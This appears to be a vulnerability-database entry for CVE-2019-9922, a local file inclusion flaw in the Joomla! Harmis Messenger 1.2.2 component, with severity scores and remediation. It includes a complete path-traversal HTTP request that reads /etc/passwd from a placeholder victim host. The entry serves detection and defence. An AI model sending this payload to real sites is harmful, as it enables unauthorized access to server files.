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CVE-2019-9922: Joomla! Harmis Messenger 1.2.2 - Local File Inclusion

TitleJoomla! Harmis Messenger 1.2.2 - Local File Inclusion
Author0x_Akoko
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! application.
RemediationUpdate to the latest version of Harmis Messenger (1.2.3) or apply the patch provided by the vendor to fix the LFI vulnerability.
CVSS Score7.5
EPSS Score0.87141
CVE IDCVE-2019-9922
CWE IDCWE-22
Tags cve2019 cve joomla messenger lfi harmistechnology joomla vuln

🔍 Vulnerability Description

Joomla! Harmis Messenger 1.2.2 is vulnerable to local file inclusion which could give an attacker read access to arbitrary files.

🌐 HTTP Request

GET /index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9922.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-9922.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A